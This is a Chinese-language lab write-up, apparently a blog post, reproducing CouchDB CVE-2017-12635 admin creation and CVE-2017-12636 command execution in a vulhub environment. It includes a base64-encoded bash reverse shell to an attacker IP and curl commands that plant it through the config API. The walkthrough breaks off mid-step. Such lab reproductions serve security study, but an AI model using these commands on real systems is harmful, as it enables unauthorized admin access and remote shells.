CVE-2017-12635+12636 复现+反弹shell


漏洞描述

Apache CouchDB 是一个开源数据库,专注于易用性和成为” 完全拥抱 web 的数据库”。它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序)。

在 2017 年 11 月 15 日,CVE-2017-12635 和 CVE-2017-12636 披露,CVE-2017-12635 是由于 Erlang 和 JavaScript 对 JSON 解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

影响版本:小于 1.7.0 以及 小于 2.1.1


一、复现过程

环境

一台攻击机(kali-2021)192.168.141.190
受害机(vulhub搭建的)192.168.141.199

复现

首先使用nmap扫描一遍之后发现5984端口开放,然后-sV 可以看到对应的版本
在这里插入图片描述
2.1.0版本同理
判断一下是否在漏洞复现的范围内,两个都在所以可以进行复现cve-2017-12635,进行垂直权限绕过

原理上是由于:
Erlang和JavaScript,对JSON解析方式的不同,对于重复的键Erlang会存储两个值,而JavaScript只存储第二个值.
由于这个原因,我们写了两个roles 第二个为空是为了绕过js的判断机制,然后在Erlang中getter函数只返回第一个值也就是"roles": [“_admin”],所以就新建了一个amdin用户
在这里插入图片描述
新建用户成功

cve-2017-12636反弹shell

CVE-2017-12636 是一个任意命令执行漏洞,我们可以通过 config api 修改 couchdb 的配置 query_server,这个配置项在设计、执行 view 的时候将被运行。

由于Couchdb 2.x 引入了集群,所以修改配置的 API 需要增加 node name,且Couchdb 2.x 删除了_temp_view,所以2.1.0版本在复现的时候某些步骤不太一样
先复现1.6.0版本的
在写入命令的时候,使用bash反弹shell, 但是如果直接写bash -i >& /dev/tcp/192.168.141.190/7777 0>&1 命令执行会失败,所以需要用

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xOTAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'

写入命令,其中的base64加密字符串为前面bash -i命令的加密后的结果
需要用这个方式加密
curl -X PUT 'http://xiaoming:[email protected]:5984/_config/query_servers/cmd' -d "\"bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xOTAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'\""
在这里插入图片描述

如果之前存在过命令,这里返回结果就是双引号中带之前的命令

之后的新建数据库和新建表是两个版本通用的
curl -X PUT 'http://xiaoming:[email protected]:5984/vultest' 新建一个名为vultest的数据库
在这里插入图片描述

curl -X PUT 'http://xiaoming:[email protected]:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}' 在刚建立的数据库中新建一个表(个人理解)
在这里插入图片描述
由于1.6版本还有_temp_view,所以使用_temp_v

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值